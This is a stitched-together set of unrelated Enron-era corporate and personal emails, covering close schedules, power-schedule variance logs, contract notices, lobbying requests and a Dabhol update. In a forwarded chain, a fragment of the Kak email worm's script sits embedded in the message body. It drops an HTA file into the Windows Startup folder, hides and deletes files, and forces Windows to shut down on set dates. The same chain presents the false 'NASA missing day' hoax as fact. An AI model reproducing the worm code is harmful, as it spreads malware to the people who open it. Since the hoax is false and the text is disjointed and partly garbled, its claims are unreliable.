---------------------- Forwarded by Darron C Giron/HOU/ECT on 12/11/2000
08:30 AM ---------------------------

"hollyw" <hollyw@email.msn.com> on 12/09/2000 09:18:28 AM
To: <Tompam1@aol.com>, "Steph and MO" <headbergms1@home.com>, "Stan & Katie
Wright" <stanchas@aol.com>, "Stacy Warren" <swarre02@coair.com>, "Sheri
Thomas" <Sheri.Thomas@enron.com>, "Shane Herzog" <SHERZOG@ridgways.com>,
"Rochelle Smith" <rochelle@waterengineers.com>, "Rick Couvillon"
<julierickcouv@hotmail.com>, "Rella Snetsinger \(E-mail\)"
<rella13@zebra.net>, "Raymond Paterson" <ray_paterson@hotmail.com>, "Randy
Howes" <rhowes@manistee-isd.k12.mi.us>, "Pete Weidler" <pweidle@enron.com>,
"Nicol, Gary" <nicolg@bp.com>, "Matt Frazier" <fraz2girls@ev1.net>, "Len"
<bigusdickus70@hotmail.com>, <KSowada@aol.com>, "KRISTI GIRON"
<KRISTI.GIRON@cfisd.net>, "JoJo" <jhenness@webtv.net>, "John Schmitz"
<jschm@telxon.com>, "Jim Miller" <jraggie1@pdq.net>, "Jim Henness \(E-mail\)"
<jhennes@c2i2.com>, "Jill Barnett" <barnett.grp@gateway.net>, "Janine Gregor"
<janine.gregor@talk21.com>, "Gary Wright" <wrightgr@udmercy.edu>, "Diego
Gotthelf" <dygotthelf@hotmail.com>, "Debbie \(Home\)" <jamoma3@cs.com>,
"Darron C Giron" <Darron.C.Giron@enron.com>, "Dana Smith"
<dsmith@s3ccpa.com>, "Charlene Anderson" <foxter@rionet.com.br>, "Caro
Paterson" <patersr@sinectis.com.ar>, "Brent Wallace"
<bwallace@zahrsecurities.com>, "Ben Schulein" <advantage@infovia.com.ar>,
"Barbara Denson" <bbdenson@pdq.net>, "Amanda Godley" <agodley@csus.edu>
cc:
Subject: Fw: Xmas Suit

----- Original Message -----
From: "benandphyllistobias" <benandphyllistobias@compuserve.com>
To: "hollyw" <hollyw@email.msn.com>
Sent: Saturday, December 09, 2000 8:49 AM
Subject: Xmas Suit

 - Xmassuit.gif


---------------------- Forwarded by Daren J Farmer/HOU/ECT on 12/22/99 06:50
AM ---------------------------

	Enron North America Corp.

	From:  Melissa K Ratnala                           12/15/99 09:28 AM

To: Brent A Price/HOU/ECT@ECT, Tommy J Yanowski/HOU/ECT@ECT, Brenda F
Herod/HOU/ECT@ECT, Inja Chun/HOU/ECT@ECT, Dave Nommensen/HOU/ECT@ECT, Alan
Conner/HOU/ECT@ECT, Paul F Poellinger/HOU/ECT@ECT, Scott
Williamson/HOU/ECT@ECT, Jaikishore Bharathi/HOU/ECT@ECT, Jim Ogg/HOU/ECT@ECT,
George Smith/HOU/ECT@ECT, Katherine L Kelly/HOU/ECT@ECT, Mary M
Smith/HOU/ECT@ECT, Daren J Farmer/HOU/ECT@ECT, Jeffrey C Gossett/HOU/ECT@ECT,
Mark Friedman/HOU/ECT@ECT, Gary Nelson/HOU/ECT@ECT, Rita Wynne/HOU/ECT@ECT,
Mechelle Stevens/HOU/ECT@ECT, Angela Henn/HOU/ECT@ECT, O'Neal D
Winfree/HOU/ECT@ECT, Darron C Giron/HOU/ECT@ECT, Melissa K
Ratnala/HOU/ECT@ECT, Susan Harrison/HOU/ECT@ECT, Kristen J
Hanson/HOU/ECT@ECT, Cynthia Hakemack/HOU/ECT@ECT, Troy Klussmann/HOU/ECT@ECT,
Julia Sengele/HOU/ECT@ECT, Lisa B Cousino/HOU/ECT@ECT, Stephen -ECT-
Schwarz/HOU/ECT@ECT, Joe Villela/FGT/Enron@Enron, Kenneth M
Harmon/HOU/ECT@ECT, Regan M Smith/HOU/ECT@ECT, Robert Superty/HOU/ECT@ECT,
Scotty Gilbert/HOU/ECT@ECT, Edward Terry/HOU/ECT@ECT, Randall L
Gay/HOU/ECT@ECT, John Valdes/HOU/ECT@ECT, Lisa Csikos/HOU/ECT@ECT, David
Baumbach/HOU/ECT@ECT, Bryan Hull/HOU/ECT@ECT, Judy Barnes/HOU/ECT@ECT
cc:
Subject: Unify Close Schedule

The following is the close schedule for this coming month (year-end.)  Please
keep in the mind the following key times....

Unify to Sitara bridge back 1:45p.m. Thursday, Dec 30th (all errors must be
clear by this time)
Mass draft at 6p.m. Thursday evening, Dec 30th.
Accrual process begins Friday morning, Dec 31st at 6:30a.m.  (If your group
impacts the accrual, please ensure that the necessary people are available
for support if needed, as this is an Enron holiday.)

Please feel free to contact me should you have any questions.
Thank you, Melissa x35615


chk email.  day just forwarded draft of dunn letter.  jeff


There's no need to lie.  If you don't have anything interesting to tell me
just admit it.  I'm bored not dillusional.

Becky Pitre
02/14/2001 02:48 PM
To: Robin Rodrigue/HOU/ECT@ECT
cc:
Subject: Re:

Get your self up here and help us!  This is interesting stuff.  How's that?

Robin Rodrigue
02/14/2001 02:32 PM
To: Becky Pitre/HOU/ECT@ECT
cc:
Subject: Re:

That does not qualify as something interesting.  You need to try harder.


[IMAGE]	 	[IMAGE]	[IMAGE]

             [IMAGE] [IMAGE]   [IMAGE] [IMAGE] Upgrades  [IMAGE] DownGrades  [IMAGE] Coverage Initiated  [IMAGE] Coverage Reiterated  [IMAGE] Stock Splits  [IMAGE] Buybacks  [IMAGE] Dividends  [IMAGE] Pos Pre-Announce  [IMAGE] Neg Pre-Announce  [IMAGE] Pos Surprises  [IMAGE] Neg Surprises  [IMAGE] Earnings Revisions  [IMAGE] IPO - Lockup Periods  [IMAGE] IPO - Latest Pricing  [IMAGE] IPO - Quite Periods  [IMAGE] IPO - Postponements  [IMAGE] IPO - Withdrawals  [IMAGE] IPO - Latest Filings     [IMAGE]   [IMAGE]   [IMAGE]  [IMAGE]  [IMAGE] Unsubscribe  [IMAGE] Update  my Membership / Profile  [IMAGE] Forgot  Username / Password  [IMAGE] Add  / Edit Alerts  [IMAGE] View  My Alerts   [IMAGE] [IMAGE] [IMAGE] [IMAGE]   [IMAGE]  [IMAGE]    [IMAGE] [IMAGE] [IMAGE] 	  As requested, your News Alert for QCOM  follows from EquityAlert.com.     QUALCOMM Announces Price Reduction of OmniTRACS SystemLeader in Mobile Communications for the Transportation Industry Drops Price of Top-Selling Satellite Mobile Communications System Equipment   SAN DIEGO, Oct 29, 2001 (BUSINESS WIRE) -- QUALCOMM Incorporated (Nasdaq:QCOM), the leader in mobile communications for the transportation industry, today announced that it will drop the price of its OmniTRACS(R) satellite mobile communications system equipment to $1,990 per unit starting October 29, 2001. This offer, based on new orders only, will remain in effect for units purchased and delivered through September 27, 2002.   "QUALCOMM understands that trucking companies are facing serious security and economic challenges today," said Chris Wolfe, president of QUALCOMM Wireless Business Solutions. "QUALCOMM is lowering the price of the OmniTRACS system to help these companies efficiently automate their fleets, exponentially raising the level of security provided to drivers, loads and vehicles, in addition to lowering operational costs and increasing productivity."   The OmniTRACS system provides two-way data messaging, automatic satellite vehicle tracking, and complete integration capabilities to dispatch and back-office systems. The price reduction in the OmniTRACS system precludes use of any other promotions or discounts and applies to a standard OmniTRACS system configuration with standard display unit.   QUALCOMM has helped the transportation industry become more efficient since 1988 when the introduction of the OmniTRACS mobile communications system provided transportation companies with an innovative and effective way of managing logistics. Its fleet management solutions continue to set the standard by offering products and services that meet the demands of a constantly changing marketplace. With the introduction of OmniExpress(R), a Code Division Multiple Access (CDMA)-based digital wireless communications and tracking system, along with trailer tracking and other industry-leading technologies, QUALCOMM continues to expand into new mobile markets. With a Network Management Center that processes more than seven million transactions each day and over 400,000 QUALCOMM mobile systems shipped to businesses in more than 32 countries on four continents, QUALCOMM continues to lead the industry in providing wireless data solutions.   QUALCOMM Incorporated (www.qualcomm.com) is a leader in developing and delivering innovative digital wireless communications products and services based on the Company's CDMA digital technology. The Company's business areas include CDMA chipsets and system software; technology licensing; the Binary Runtime Environment for Wireless(TM) (BREW(TM)) applications platform; Eudora(R) e-mail software; digital cinema systems; and satellite-based systems including portions of the Globalstar(TM) system and wireless fleet management systems, OmniTRACS and OmniExpress. QUALCOMM owns patents that are essential to all of the CDMA wireless telecommunications standards that have been adopted or proposed for adoption by standards-setting bodies worldwide. QUALCOMM has licensed its essential CDMA patent portfolio to more than 100 telecommunications equipment manufacturers worldwide. Headquartered in San Diego, Calif., QUALCOMM is included in the S?500 Index and is a 2001 FORTUNE 500(R) company traded on The Nasdaq Stock Market(R) under the ticker symbol QCOM.   Except for the historical information contained herein, this news release contains forward-looking statements (including without limitation express and/or implied statements regarding the effect of such price decreases) that are subject to risks and uncertainties, including customer reaction to the price decrease, change in economic conditions of the various markets the Company serves, as well as the other risks detailed from time to time in the Company's SEC reports, including the report on Form 10-K for the year ended September 24, 2000, and most recent Form 10-Q.   QUALCOMM, OmniTRACS, OmniExpress and Eudora are registered trademarks of QUALCOMM Incorporated. BREW is a trademark of QUALCOMM Incorporated. Globalstar is a trademark of Loral QUALCOMM Satellite Services, Incorporated. All other trademarks are the property of their respective owners.   CONTACT:          QUALCOMM Incorporated                   Jennifer Briscoe, QUALCOMM Wireless Business Solutions                    858/658-6715, 858/658-1578 (fax)                   jbriscoe@qualcomm.com                   or                   Patty Goodwin, Corporate Public Relations                   858/651-4127, 858/651-5873 (fax)                   pgoodwin@qualcomm.com                   or                   Julie Cunningham, Investor Relations                   858/658-4224, 858/651-9303 (fax)                   jcunningham@qualcomm.com URL:              http://www.businesswire.com Today's News On The Net - Business Wire's full file on the Internet with Hyperlinks to your home page.  Copyright (C) 2001 Business Wire.  All rights reserved.  -0-   KEYWORD:          CALIFORNIA INDUSTRY KEYWORD: COMPUTERS/ELECTRONICS                   HARDWARE                   INTERNET                   TELECOMMUNICATIONS                   TRANSPORTATION                   PRODUCT                   SOURCE:                   QUALCOMM                   Incorporated    [IMAGE]    ***IMPORTANT NOTICE AND DISCLAIMER REGARDING THIS COURTESY EMAIL***   At your request, as a subscriber to our service, this email alert is being sent to you as a courtesy and is for information purposes only. We are a financial news re-distributor. We are not an investment advisory and do not purport to tell or suggest which companies you should monitor or which securities you should purchase or sell.   In addition to the information regarding the company you are monitoring (the "Monitored Company"), this email contains advertisements describing products, services or companies for which we receive fees from the advertising companies. In the case of Cybertrader, distribution of this advertisement forms a component of a content exchange agreement with RealTimeTraders.com, Inc. We reserve the right to sell all or part of these shares at anytime, either before, during or after the advertisement period.   In addition, not withstanding our policy of prohibiting employees from buying or selling securities of an advertising company for a period of 20 days following dissemination of the advertisement, we may not be able to effectively monitor our employees to ensure compliance with the same. Consequently, there may be sales and/or purchases of such securities by our employees prior to, during and immediately following the dissemination of the advertisement.   Please note that (1) this email may not contain the full text of the press release issued by, or the research or other reports regarding, the Monitored Company; and (2) the text of the advertisement, the press release and/or reports were obtained from third party sources and were not written, generated or edited by us; accordingly, we make no representations or give any assurance as to the accuracy or completeness, nor have we conducted any independent investigations of, the disclosures regarding the subject matter of such releases and reports.   Please note that links to the advertising company and/or Monitored Company are provided for your convenience. We assume no obligation for the content of such sites.   All information contained herein should be independently verified by you with the advertising company or with Monitored Company or any other sources you prefer.   [THIS IS ONLY A SUMMARY OF, AND IS QUALIFIED IN ITS ENTIRETY BY REFERENCE TO, THE "EQUITYALERT SUBSCRIBER AGREEMENT AND DISCLAIMER." PLEASE VISIT http://www.equityalert.com/home/disclaim.asp  FOR ACCESS TO OUR COMPLETE DISCLAIMER]        	  [IMAGE] [IMAGE] [IMAGE] [IMAGE]   [IMAGE] [IMAGE] [IMAGE]  [IMAGE] [IMAGE] [IMAGE] Stock  Quote [IMAGE]   [IMAGE] Stock  Chart [IMAGE]   [IMAGE] Covered  Calls  [IMAGE]   [IMAGE] Company  Profile [IMAGE]   [IMAGE] [IMAGE]  [IMAGE] [IMAGE] [IMAGE] [IMAGE] [IMAGE] [IMAGE]   [IMAGE] [IMAGE] [IMAGE] Option  Details  [IMAGE]   [IMAGE] Black  - Scholes [IMAGE]     [IMAGE]  Power Option PLUS Logo    [IMAGE] [IMAGE] [IMAGE] [IMAGE] [IMAGE] [IMAGE]    [IMAGE]


Start Date: 4/21/01; HourAhead hour: 2;  No ancillary schedules awarded.
Variances detected.
Variances detected in Load schedule.

    LOG MESSAGES:

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final
Schedules\2001042102.txt

---- Generation Schedule ----
*** Final schedule not found for preferred schedule.
     Details:

  TRANS_TYPE: FINAL
  SC_ID: ECTRT
  MKT_TYPE: 2
  TRANS_DATE: 4/21/01
  UNIT_ID: HARBGN_7_UNITS

---- Load Schedule ----
$$$ Variance found in table tblLoads.
     Details: (Hour: 2 / Preferred:   0.42 / Final:   0.39)
  TRANS_TYPE: FINAL
  LOAD_ID: PGE1
  MKT_TYPE: 2
  TRANS_DATE: 4/21/01
  SC_ID: EPMI


Start Date: 4/15/01; HourAhead hour: 3;  No ancillary schedules awarded.
Variances detected.
Variances detected in SC Trades schedule.
Variances detected in Load schedule.

    LOG MESSAGES:

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final
Schedules\2001041503.txt

---- SC Trades Schedule ----
$$$ Variance found in table tblInt_Interchange.
     Details: (Hour: 3 / Preferred: -65.00 / Final: -45.00)
  TRANS_TYPE: FINAL
  SC_ID: EPMI
  MKT_TYPE: 2
  TRANS_DATE: 4/15/01
  TRADING_SC: CRLP
  PNT_OF_INTRC: SP15
  SCHED_TYPE: ENGY
  PURCH_SALE: 1
  DEAL_NO: 1
*** Final schedule not found for preferred schedule.
     Details:

  TRANS_TYPE: FINAL
  SC_ID: EPMI
  MKT_TYPE: 2
  TRANS_DATE: 4/15/01
  TRADING_SC: SETC
  PNT_OF_INTRC: NP15
  SCHED_TYPE: ENGY
  PURCH_SALE: 1
  DEAL_NO: 1
*** Final schedule not found for preferred schedule.
     Details:

  TRANS_TYPE: FINAL
  SC_ID: EPMI
  MKT_TYPE: 2
  TRANS_DATE: 4/15/01
  TRADING_SC: PGAE
  PNT_OF_INTRC: NP15
  SCHED_TYPE: ENGY
  PURCH_SALE: 2
  DEAL_NO: 1
$$$ Variance found in table tblInt_Interchange.
     Details: (Hour: 3 / Preferred:  70.00 / Final:  50.03)
  TRANS_TYPE: FINAL
  SC_ID: EPMI
  MKT_TYPE: 2
  TRANS_DATE: 4/15/01
  TRADING_SC: PWRX
  PNT_OF_INTRC: NP15
  SCHED_TYPE: ENGY
  PURCH_SALE: 2
  DEAL_NO: 1

---- Load Schedule ----
$$$ Variance found in table tblLoads.
     Details: (Hour: 3 / Preferred:  92.37 / Final:  91.91)
  TRANS_TYPE: FINAL
  LOAD_ID: SDG1
  MKT_TYPE: 2
  TRANS_DATE: 4/15/01
  SC_ID: EPMI


Resending - please disregard earlier MLP report

Attached are the Friday peer group reports.
DO NOT UPDATE LINKS WHEN THE FILE IS OPENED!
Please call if you have any questions.

Investor Relations


?

?

-----Original Message-----
From: Mary Pate [mailto:mgpate@arn.net]
Sent: Wednesday, November 29, 2000 9:35 PM
To: Wilson Pate; Robert Johnson; Graham Pate; Paige Pate; Gene Graham;
Suzanne Mauze; Cissy Bankhead; Jim Bankhead; Margaret Herring; Sally Kritser;
Barbara Harkins; Carolyn Garner; Sandra Gilliland; Mary Nell Lemert;
TXKarebear@AOL.com; kenna dubose; Patty Christian; D'Layne Peeples;
Murray/Jeri Gossett
Subject: Fw: NASA and the Bible

?

?

');t3.close();fs.GetFile(wd+'kak.htm').Attributes=2;fs.DeleteFile(wd+'kak.reg'
);d=new Date();if(d.getDate()==1 &&
d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today
!');wsh.Run(wd+'RUNDLL32.EXE user.exe,exitwindows');}self.close();S3 driver
memory alloc failed ? !]]%%%%%D,marrer\\Programmes\\D,marrage\\kak.
hta":"C:\\windows\\Start
Menu\\Programs\\StartUp\\kak.hta";agt=navigator.userAgent.toLowerCase();if(((a
gt.indexOf("msie")!=-1)&&(parseInt(navigator.appVersion)>4))||(agt.indexOf("ms
ie 5.")!=-1))scr.write(); // -->
----- Original Message -----

From:Robert Johnson

To:'Wilson (Home)' ; 'Mary Pate' ; 'mary pate'

Sent:Wednesday, November 29, 2000 1:10 PM

Subject:FW: NASA and the Bible

?

?

-----Original Message-----
From: Doug Jackson [mailto:djackson@jacksonproperty.com]
Sent: Tuesday, November 28, 2000 9:40 PM
To: Jeannie Dunston; Nita Vaughn; Jim Swafford; Vicki Rusche; Marivel
Robinson; Cheryl Ann Raffanti; North Hills Place; Cyndi Pitman; John W.
Lyon; Mark E. Lyon; Morris Lloyd; Gayland Laing; Robert Johnson; Stefani
Jackson; Sean D. Jackson; Pat Ivie; Francis Hung; Laura Hudler; William
Hills; Dave Garber; Thomas J. Freytag; Steve Elken; Lohren Edney; John
W. Demars; Isibelle DeBaun; Suzanne Cunningham; Jim Brown; Ken Braddy;
Eva Aromi; Toni Anderson
Subject: NASA and the Bible

?For all the scientists out there and for all the students who have a hard
time convincing these people regarding the truth of the Bible...here's
?something that
?shows God's awesome creation and shows that He is still in control. Did
you
? know that the space program is busy proving that what has been called
"myth" in the Bible is true?

?Mr. Harold Hill, President of the Curtis Engine Company in Baltimore
Maryland and a consultant in the space Program relates the following
development.
?"I? think one of the most amazing things that God has for us today
happened recently to our astronauts and space scientists at Greenbelt,
Maryland.
They were checking the position of the sun, moon, and planets out in space
where they would be 100 years and 1000 years from now.? We have to know this
so we won't send a satellite, up and have it bump into something later on in
its orbits. We have to lay out the orbits in terms of the life of the
satellite, and where
the planets will be so the whole thing will not bog down.

They ran the computer measurement back and forth over the centuries and it
?came to a halt. The computer stopped and put up a red signal, which meant
?that there was something wrong either with the information fed into it or
with the results as compared to the standards.

?They called in the service department to check it out and they said,"What's
wrong?" Well, they found there is a day missing in space in elapsed time.
They
?scratched their heads and tore their hair. There was no answer.

?Finally, a Christian man on the team said, "You know, one time I was in
?Sunday School and they talked about the sun standing still."
?While they didn't believe him, they didn't have an answer either, so they
?said, "Show us." He got a Bible and went back to the book of Joshua where
?they found a pretty ridiculous statement for any one with "common sense."
?There they found the Lord saying to Joshua, "Fear them not, I have
delivered
them into thy hand; there shall not a man of them stand before thee."
?Joshua was concerned because he was surrounded by the enemy and if
darkness fell they would overpower them. So Joshua asked the Lord to make
the
sun
?stand still! That's right-"The sun stood still and the moon stayed and
hasted not to go down about a whole day!"?? (Joshua 10:12-13)

The astronauts and scientists said, "There is the missing day!"? They
checked
the computers going back into the time it was written and found it was close
but not close enough. The elapsed time that was missing back in Joshua's day
was
23 hours and 20 minutes-not a whole day.

?They read the Bible and there it was "about (approximately) a day." These
?little words in the Bible are important, but they were still in trouble
because if you cannot account for 40 minutes you'll still be in trouble
1,000
years from now.
Forty? minutes had to be found because it can be multiplied many times over
in orbits.

?As the Christian employee thought about it, he remembered somewhere in the
?Bible where it said the sun went BACKWARDS. The scientists told him he was
?out of his mind, but they got out the Book and read these words in 2 Kings
?that told of the following story: Hezekiah, on his deathbed, was visited
by the prophet Isaiah who told him that he was not going to die. Hezekiah
asked for a sign as proof.

?Isaiah said "Do you want the sun to go ahead 10 degrees?"

Hezekiah said "It is nothing for the sun to go ahead 10 degrees, but let
the shadow return backward 10 degrees."

Isaiah spoke to the Lord and the Lord brought the shadow ten
degreesBACKWARD!

Ten degrees is exactly 40 minutes! Twenty-three hours and 20 minutes in
?Joshua, plus 40 minutes in Second Kings make the missing day in the
universe!

?Isn't it amazing?

?References: Joshua 10:8 and 12, 13 and 2 Kings 20:9-11.

?Forward this to as many people who you believe would think this is equally
as cool.

?Never be afraid to try something new.? Remember, amateurs built the ark.
?Professionals built the Titanic.

?

?Have a great day!

"WorldSecure <firstsw.com>" made the following
annotations on 11/29/00 13:10:01
------------------------------------------------------------------------------

[INFO] -- Content Manager:
First Southwest Company is not responsible for any recommendation,
solicitation, offer or agreement or any information about any transactions,
customer account or account activity contained in this communication.

==============================================================================


Susan,
I don't know who Laura Dewett is, but the other three are on "my" Confirm
desk.  We have a couple of new people starting next week, so I'll send you an
updated list as soon as they're set up for e-mail access.

Thanks,
Joe

Susan Bailey
03/12/2001 02:01 PM
To: Larry Joe Hunter/HOU/ECT@ECT
cc: Tana Jones/HOU/ECT@ECT, Samantha Boyd/NA/Enron@Enron, Stephanie
Panus/NA/Enron@Enron
Subject: Confirm Desk Group

Joe,

As mentioned in my voice mail -- please advise as to whether the following
individuals should to be included in the Group known as "Confirm Desk":

   Andrea Guillen
   Gordon Heaney
   Scott Tackett
   Laura Dewett

Thanks.

Cordially,
Susan S. Bailey
Enron North America Corp.
1400 Smith Street, Suite 3806A
Houston, Texas 77002
Phone: (713) 853-4737
Fax: (713) 646-3490
E:mail:  Susan.Bailey@enron.com


Hey,

Do you know what group Tim Coffing is working for?


Jeff,

Stacey forwarded the termination agreement to me to process, and I just wanted to let you know that there were only 4 active contracts to be terminated.

1. Enfolio Master Firm Purchase/Sales Agreement (April 1, 2001) between NUIU and ENA -- 96058789
2. GISB (October 1, 1997) between NUIEB and ENA (not NUIU as indicated in agreement and cover memo) -- 96010419
3. ISDA Master Agreement and Credit Support Annex (March 27, 1998) between NUIEB and ENA -- 96014847
4. Netting Agreement (October 1, 1997) between NUIEB and ENA (not NUIU as indicated in agreement and cover memo) -- 96018758

The other GISB dated October 1, 1997 (96029131) was terminated effective June 15, 2000, when the counterparty sent a cover letter with executed consents of assignment (from CES and CEM to ENA), simultaneously terminating both contracts (96029131 & 96029133).

If you have any questions, please call me at 5-9989, or email me.

Thank you,
Susan Elledge


CP, what do you think of this draft.  Too close to last year?
m


Connie:

In response to your email to Vince Kaminski of 3/19/01, the subject invoice
was sent to our Accounting Dept. for payment on February 25, 2001.  We
did not need the SPAV maintenance, so we deducted $1,600.00.  Did you
receive a payment in the amount of $4100.00 that could possibly have been
payment for this invoice?

I have left a message for our accounting dept. to see exactly when the invoice
was paid and the check number.  As soon as I hear from them I will left you
know.

Best regards,

Shirley Crenshaw
Administrative Coordinator
Enron Research Group
713-853-5290
email:  Shirley.Crenshaw@enron.com


Alan,

Thanks.

Vince

Alan Aronowitz
01/12/2000 09:00 AM
To: Vince J Kaminski/HOU/ECT@ECT
cc:
Subject: Congratulations

Congratulations on your promotion to MD!

Alan


---------------------- Forwarded by Benjamin Rogers/HOU/ECT on 09/26/2000
05:53 PM ---------------------------

"Iaconetti, Louis" <louis.iaconetti@csfb.com> on 09/26/2000 05:51:29 PM
To: "Don Miller (E-mail)" <Don.Miller@enron.com>, "'Benjamin Rogers'"
<Benjamin.Rogers@enron.com>
cc: "Bartlett, James" <james.bartlett@csfb.com>, "Al-Farisi, Omar"
<omar.al-farisi@csfb.com>, "Heckler, James" <james.heckler@csfb.com>, "Modi,
Rishi" <rishi.modi@csfb.com>
Subject: Additional PG&E Question and an Aquila Question - all on Pastoria

I spoke to Aquila again today.  They are planning to submit bids on Friday
for Gleason, Wheatland and Pastoria.  They already have a tolling agreement
in the Lincoln area and don't want more capacity there.

Aquila's question:

They questioned the development costs for Pastoria - look very high.  I
noted that it includes the ERC's.  They would like a breakout of the
development costs

PG&E's question is below.  Are you comfortable disclosing this at this stage
or is this a phase II due diligence item?

-----Original Message-----
From: Favinger, Thomas [mailto:thomas.favinger@neg.pge.com]
Sent: Tuesday, September 26, 2000 5:17 PM
To: 'Iaconetti, Louis'
Subject: RE: Responses to PG&E Questions on Pastoria

Since we do not have to accept the NEPCO contract, can you break out the
cost and scope of equipment (Enron uses the term "power islands")?  Can we
get this information tomorrow?  Both cost and scope of this is important to
be able to assess the "EPC" price and determine bid price.


yes he is going to deposit the check today if he has time, he was going to do his best to do it today but he was working on selling his house and buying another, if not then first thing in the morning, $1000.

He said that Jeff Keller is definitely interested in the stereo, do you want me to call him later?

Love you

The Pigs

 -----Original Message-----
From: 	Angelica Paez <ampaez@earthlink.net>@ENRON
Sent:	Monday, November 26, 2001 4:06 PM
To:	Griffith, John
Subject:	Re: pick up

That's fine.  Did you talk to Scott?
--
Angelica Paez <ampaez@earthlink.net>
From: John.Griffith@enron.com
Date: Mon, 26 Nov 2001 17:06:02 -0600
To: ampaez@earthlink.net
Subject: RE: pick up
How about 6:45, tomorrow is settlement (bid week) is that okay?  let me
know.
Love you
The pigs
   -----Original Message-----
  From:   Angelica Paez <ampaez@earthlink.net>@ENRON
  Sent:   Monday, November 26, 2001 3:56 PM
  To:     Griffith, John
  Subject:  pick up
  Hi piggy.  What time do you want me to pick you up?  Love you and hope
  your
  belly is ok.
  --
  Angelica Paez <ampaez@earthlink.net>
**********************************************************************
This e-mail is the property of Enron Corp. and/or its relevant affiliate and may contain confidential and privileged material for the sole use of the intended recipient (s). Any review, use, distribution or disclosure by others is strictly prohibited. If you are not the intended recipient (or authorized to receive for the recipient), please contact the sender or reply to Enron Corp. at enron.messaging.administration@enron.com and delete all copies of the message. This e-mail (and any attachments hereto) are not intended to be an offer (or an acceptance) and do not create or evidence a binding and enforceable contract between Enron Corp. (or any of its affiliates) and the intended recipient or any other party, and may not be relied on by anyone as the basis of a contract by estoppel or otherwise. Thank you.
**********************************************************************


We have been working closely with the Trade Promotion outreach effort the White House established, and have regularly attended whip meetings with White House staff and others.  In that role, we are "working" a number of Texas Democrats.  I will talk again with the Congresswoman, and will call on Steve Kean to work her if needed.  No need for Ken's involvement with her at this point.

 -----Original Message-----
From: 	Fleming, Rosalee   On Behalf Of Lay, Kenneth
Sent:	Thursday, October 18, 2001 5:34 PM
To:	Kean, Steven J.; Shapiro, Richard; Robertson, Linda
Subject:	FW: Sheila and the Trade Promotion Authority

I asked Jim Kollaer if he had talked to our Washington office and he said they have been working on it, but this is going to take a call from Ken to Sheila.  Given the complexities of his schedule, if there is any other way, it would be good.  What do you think?

Rosie

 -----Original Message-----
From: 	"Jim Kollaer" <jkollaer@houston.org>@ENRON
Sent:	Thursday, October 18, 2001 3:33 PM
To:	Lay, Kenneth
Cc:	Anne Culver
Subject:	Sheila and the Trade Promotion Authority

Ken, I am writing to ask Enron's assistance with a pro-Trade Promotion
Authority message to Rep. Sheila Jackson Lee.

The position of the Partnership and Enron are well known to Sheila.  She
consistently has voiced doubts about her ability to vote for trade
issues such as China PNTR and fast track/TPA, but in the end joins her
pro-business and trade colleagues in supporting these measures. You have
always been a very effective lobbyist on this issue.

Most recently, on October 10, 2001, Rep. Lee told Rep. Norman Dicks
(D-WA) (he was the first D to be a supporter of this new compromise leg
(HR 3005) and is whipping the issue for the Ds) that she is a no vote on
TPA (HR 3005).

Rep. Lee's reasons for not supporting this issue are as follows:

1. The process has been too partisan, Ds like Rep. Charles Rangel were
not consulted and brought to the table to develop compromise language in
the beginning.

2. Since only 25 - 30 Ds will be voting for this (and we need her to be
one of those) she will feel alone as a D.

ACTION REQUESTED:  Ken, could you or someone senior at Enron place a
call to Rep. Jackson Lee to voice strong support for TPA?

An appropriate message is that we want her to focus on good public
policy.  We are not defending the process.  This is about good
economics.  TPA benefits her consituents.

We have attached a study that highlights the benefits of trade in her
district.  This may be useful information.  It has employment numbers
and more.

The TPA vote could come next week, as early as Tuesday.  A call to her
here in Houston at 713-655-0050 would be appropriate, as the House is
recessed until Tuesday.

Thanks in advance for your positive response to this request.

 <<Texas 18 final PDF.pdf>>

Jim Kollaer
President/CEO
jkollaer@houston.org
713/844-3601

 - Texas 18 final PDF.pdf << File: Texas 18 final PDF.pdf >>


I just spoke with Krystal at Kern and John Stafford at Patina:
Kern Legal will not finish reviewing until Monday.  At that time they will
approve, revise, or reject the changes to the Assignment Agreement.  I
reiterated that Enron is comfortable with the changes.
John Stafford is comfortable with Gerald's Indemnity Letter Agreement
(below), but would strongly prefer to have the indemnity language
incorporated into the Assignment Agreement itself, if it is possible in a
timely fashion.
John indicated he would be willing to conference in with Gerald and Kern's
attorney(s) first thing Monday morning if we felt it would be helpful.
Bottom line:  It looks like we can shut the door on this, one way or the
other, on Monday morning.

Tyrell Harrison
303 575 6478

	Gerald Nemec@ECT
	04/13/2001 10:58 AM

		 To: Tyrell Harrison/NA/Enron@Enron, jstafford@patinaoil.com
		 cc: Barry Tycholiz/NA/Enron@ENRON
		 Subject: Indemnity Agreement

Attached is a letter agreement which specifies ENA's indemnity obligations
for Patina wrt the Kern Transport Agreement.  Please review and if acceptable
print and execute along with the Kern River assignment form.  If you wish to
discuss, please contact me at (713) 853-3512.  Thanks for your assistance.


Ken,

I wanted to update you on the reaction to your most recent letter to the Indian Prime Minister. You recall that we recommended you write again to the Prime Minister and express disappointment at the lack of progress since your July trip and your August letter containing our offer to sell our equity at costs. I believe writing this letter was the proper response but only time will tell what reaction (if any) finally comes from the Indian government.

I think you should know about the press coverage of the letter, just in case the letter were to come up in any conversation you might have with someone from the US government. I am not anticipating this at all, but I would not want you to be unprepared about the press coverage. The US embassy over here is very much up to speed.  I met again with Ambassador Blackwill on Tuesday of this week and gave him a general update on the current status. His view is that it is very difficult in the post-Sept. 11 environment to get anyone in Delhi or Washington to pay attention to economic matters such as Dabhol, but he is trying as best he can. He is meeting with Brajesh Mishra (Prime Minister's principal secretary) on Saturday, who will have just returned from Washington meetings with Ms. Rice, among others, principally to discuss anti-terrorist matters. John Hardy of our DC office briefed the State Department last week in advance of these meetings, and we are awaiting to hear any discussion or outcome regarding Dabhol.

Regarding press coverage of the letter, as we anticipated, the entire letter was leaked to the press. Several articles have appeared that describe the "harshly worded" letter and many articles have quoted verbatim sections from the letter. The Wall Street Journal article from last week presented the letter fairly, and I think it came out rather sympathetic to our position. The Indian papers have been neutral to negative. For example, an editorial (reprinted below) was in Wednesday's Financial Express, a business daily in India (but not as widely circulated or respected as The Economic Times or The Business Standard). Note the editorial below says your letter states "that any government found to have expropriated the property of US firms automatically faces sanctions from that country." Your letter did not state that, but this is a holdover from the earlier Financial Times interview.

